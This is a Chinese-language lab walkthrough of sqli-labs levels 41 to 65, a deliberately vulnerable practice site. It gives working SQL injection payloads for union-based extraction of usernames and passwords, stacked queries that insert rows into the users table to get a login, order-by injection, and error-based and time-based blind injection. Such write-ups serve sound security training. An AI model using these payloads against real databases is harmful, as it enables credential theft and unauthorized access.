sql-labs 41-65关

2023-11-13

Less-41

这关还是堆叠注入,而且还是数字型闭合。可以照搬39关代码,但是与39不同的是,这关没有报错的显示位。
查数据
/?id=1&id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-42

这关发现不让我注册账号,也不让忘记密码。老让我GO HACK IT!哈哈。正确登录进去,也看不到在哪里入手。看了源码
在这里插入图片描述
账号进行了转义,密码没有。看了别人的方法,是要通过密码框,创建一个类似users的表,然后插入数据,就可以登录了。但是有个问题,我怎么知道对方数据库有一个users表?
后来一想可能这是一个已知条件吧,当已知一个网站的的数据表后,可以用这样的方法去注入。登陆前
在这里插入图片描述
Username:随意
Password: c';create table less42 like users#
在这里插入图片描述
可以看到创建成功,然后再登录输入密码
Password:c';insert into less42 (username,password) values ("less42","123")#
可以看到添加了数据进去。
那这样的话就可以给users数据表添加数据,得以进入系统,即使这个系统不让我们注册账号。
密码输入:c';insert into users (username,password) values ("less42","123")#

Less-43

与42关原理一致,只是闭合方式不同。为')型。

Less-44

与42关原理一致,只是没有报错信息。

Less-45

和44关一模一样。

Less-46

这一关开始就是新知识点,order by注入。
这时的sql语句是$sql = "SELECT * FROM users ORDER BY $id";注入点再order by后面的参数上。
首先先要尝试输入/?sort=1 desc/?sort=1 asc根据显示的不同,可以判断有没有注入点。
有三种注入形式
1、直接添加注入语句,/?sort=(select databases())
2、利用一些函数。如 rand()函数等,/?sort=rand(sql 语句) 返回的结果和sql语句的真假有关系。rand(ture)和 rand(false)的结果是不一样的。
3、利用 and,如/?sort=1 and (加 sql 语句)。 sql可以为报错注入或者延时注入。
直接查询:/?sort=(select%20database())
报错查询数据库:
/?sort=1 and (select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand()*2)))

Less-47

这关和46关原理一样,只是闭合方式不同,单引号闭合型,后边记得加–+进行注释。
直接查询:/?sort=1' and (select database())--+
报错查询数据库:
/?sort=1' and (select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20database()),0x3a,0x3a,floor(rand()*2)))

Less-48

这关没有报错回显,可以用/?sort=rand(true/false)
输入:
/?sort=rand(ascii(left(database(),1))=178)
或者And 后的延时注入
/?sort=1 and (If(ascii(substr(database(),1,1))=115,0,slee p(5)))

Less-49

延时注入:
/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))--+

Less-50

从本关开始我们 order by stacked injection(排序叠层注入)
之前我们执行sql语句使用的是 mysqli _query(),而这里使用的是mysqli_multi_query()函数。区别在于前者执行一个sql语句而后者可以在执行多个sql语句,中间可以用隔开。
那这样就可以输入/?sort=1;insert into user (username,password) values ("less50",“123”),插入数据,登录成功。

Less-51

这关和上关一样,只是'闭合型。

Less-52

和50关一样,只是mysql 错误不会在前台显示,但是对于堆叠注入是一样。

Less-53

同52关。

Less-54

这一关的蓝字告诉我们只能尝试十次,所以需要在尝试的时候进行思考,如何能更少的减少次数。而且这里的表名和密码等是每十次尝试后就强制进行更换。 因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。
查表名:
/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述
查到了数据表为:ykkusha0id。
联合注入,具体参考里边的第一关记得把里边相应的数据库数据表名字换成这一关的。
查字段名:
/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='ykkusha0id' and table_schema='challenges'),3--+
在这里插入图片描述
查数据:
/?id=0' union select 1,(select group_concat(secret_WEMH) from challenges.ykkusha0id),3--+
在这里插入图片描述

Less-55

这关是)闭合。
先查表名:
/?id=0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
在这里插入图片描述表名为:vq8b2uxik0
查字段名:
/?id=0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='vq8b2uxik0' and table_schema='challenges'),3--+
在这里插入图片描述字段有:id,sessid,secret_GY3G,tryy
查密码:
/?id=0) union select 1,(select group_concat(secret_GY3G) from challenges.vq8b2uxik0),3--+
在这里插入图片描述
密码为:LDsPrKzdk1l0XSprFR4D8SYg

Less-56

这关为')型闭合,其余的与54关,55关一样。

Less-57

这关是"型闭合,其余与54关一样。

Less-58

这关尝试后发现,只给了五次机会且没有显示位,所以要用盲注。
用报错注入查数据表:
/?id=1' and (select 1 from (select count(*),concat((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
在这里插入图片描述
数据表为:iiv626t2tw1
查字段名:
/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='iiv626t2tw1' and table_schema='challenges'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
接下来可进行修改上述的内容,构造 payload 即可进行注入。

Less-59

这关是数字型,其余的与58关一致。

Less-60

这关是")型闭合,其余与58关一致。

Less-61

这关是'))型闭合,头一次碰见,其余与58关一致。

Less-62

此处 union 和报错注入都已经失效了,那我们就要使用延时注入了。
/?id=1')and If(ascii(substr((select group_concat(tabl e_name) from%20information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+
一个一个试出来,给130次尝试机会是有道理的。

Less-63

这关为'闭合型,其余与62关一样。

Less-64

这关为))型,其余与62关一样。

Less-65

这关为")型闭合,其余与62关一样。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql-labs 41-65关 的相关文章

  • mysql 详细查询字符串,如通配符

    不知道如何标题我的问题 哈哈 下面是我需要的 我的数据库中的值如下所示 test example 1 test example 2 test example TD 1 这些值的长度可以不同 test example 只是一个示例 某些值将具
  • PostgreSQL 和锁定

    希望一些比我更聪明的 DBA 可以帮助我找到一个好的解决方案来完成我需要做的事情 为了便于讨论 我们假设我有一个名为 work 的表 其中包含一些列 其中一列表示给定客户端对该行工作的所有权 场景是 我将连接 2 个客户端并轮询表以查找要完
  • 如何检查一个值是否已经存在以避免重复?

    我有一个 URL 表 但我不想要任何重复的 URL 如何使用 PHP MySQL 检查给定 URL 是否已在表中 如果您不想重复 可以执行以下操作 添加唯一性约束 use REPLACE http dev mysql com doc ref
  • 合并并添加两个表中的值

    是否可以制作一个在两个表中添加值的查询 例如 假设您有两张表 id value a 1 c 2 d 3 f 4 g 5 and id value a 1 b 2 c 3 d 4 e 5 然后 当您 添加 两个表时 您将获得 id 匹配的结果
  • Oracle SQL-根据记录的日期与历史记录标记记录

    这是我在论坛上的第一篇文章 通常我能够找到我需要的东西 但说实话 我不太确定如何针对该问题提出正确的问题 因此 如果论坛上已经有答案而我错过了 请接受我的歉意 我通过 Benthic Software 在 Oracle 数据库中运行以下代码
  • 作为 UDF 结果的列上的 Where 子句

    我有一个用户定义的函数 例如myUDF a b 返回一个整数 我试图确保该函数仅被调用一次 并且其结果可以用作WHERE clause SELECT col1 col2 col3 myUDF col1 col2 AS X From myTa
  • Entity Framework 6 多对多想要插入重复行

    不应该这么难 我准备放弃EF了 我的模型有周刊版本 每个版本可以有许多分类广告 每个分类可以出现在一个或多个版本中 我的模型 public class Classifieds Key DatabaseGenerated DatabaseGe
  • SQL Android 错误:没有这样的表

    因此 每次我在位于 AddContacts 类中的 EditText 字段中输入数据时 我的对话框都会显示我已成功添加信息 但在日志 cat 中却显示没有这样的表 contactsTable 我认为错误出在我的数据库类中的 onCreate
  • 如何授予 SQL Server 代理访问权限以便能够写入/修改系统文件?

    我的工作有一个存储过程 运行 BCP 来查询一些数据 如果我单独运行 QUERYOUT 命令 它就会起作用 但是 如果我尝试在作业中运行它 它会创建文件但 挂起 并且数据永远不会放入文件中 这会永远挂起 所以我通常终止 BCP exe 我的
  • 在实体框架 6 中使用 SqlQuery>

    我正在尝试在 EF 6 中执行 SQL 查询 select查询返回两个字符串列 例如select a b 并且可以有任意数量的行 我想将结果映射到字典 但我无法摆脱以下错误 错误 1 无法将类型 System Data Entity Inf
  • 将逗号分隔的主数据替换为列中的描述

    有 2 个 SQL Server 表 Products Name Status Code Product 1 1001 1003 Product 2 1001 1005 1006 Status Code Description 1001 S
  • 如何插入包含“&”的字符串

    如何编写包含 字符的插入语句 例如 如果我想将 J J Construction 插入数据库的列中 我不确定这是否有什么不同 但我正在使用 Oracle 9i 我总是忘记这一点 然后又回到它 我认为最好的答案是迄今为止提供的答复的组合 首先
  • 火鸟删除速度很慢

    我正在做这个简单的交易 DELETE FROM ominve01 WHERE CVE OBS IN SELECT CVE OBS FROM minve01 M WHERE M FECHA DOCU lt 31 12 2010 OR FECH
  • 如何获得组中“中间”值的平均值?

    我有一个包含值和组 ID 的表 简化示例 我需要获取中间 3 个值的每组的平均值 因此 如果有 1 2 或 3 个值 则它只是平均值 但如果有 4 个值 它将排除最高值 5 个值将排除最高值和最低值 等等 我正在考虑某种窗口函数 但我不确定
  • 将自动递增值添加到只有一列的表中

    我需要创建一个基本上仅保留索引列表的表 因此 我创建了一个只有一个名为 id 的自动递增列的表 但是 我似乎无法隐式地将自动递增值添加到该表中 我知道通常当您在表中有这样一列 不仅仅是此列 时 您可以执行以下操作 插入表 col1 col2
  • IN 运算符对 SQL 查询性能的影响有多大?

    我的 SQL 查询需要 9 个小时才能执行 见下文 Select Field1 Field2 From A Where Field3 IN 45 unique values here 当我将此查询拆分为 3 个完全相同的查询 仅每个 IN
  • value >= all(select v2 ...) 产生与 value = (select max(v2) ...) 不同的结果

    Here https stackoverflow com questions 17026651 query from union of joins 17027784 noredirect 1 comment24611997 17027784
  • 我们可以使用sql列出MS Access数据库中的所有表吗?

    我们可以使用 sql 找到 ms access 中的所有表吗 就像我们在 sql server 中所做的那样 select from sys tables 在sqlite中 SELECT FROM sqlite master where t
  • parent_id 是外键(自引用)并且为 null?

    浏览 Bill Karwin 的书 SQL Antipatterns 第 3 章 Naive Trees 邻接表 父子关系 有一个注释表的示例 CREATE TABLE Comments comment id SERIAL PRIMARY
  • 总结同一个 SQL 表上的两个条件

    给定一个 SQL 表 Transactions ID INT COMPANY ID INT STATUS INT where STATUS IN 0 1 表示免费交易并且STATUS IN 2 3 表示可计费交易 简单的 我希望 ANSI

随机推荐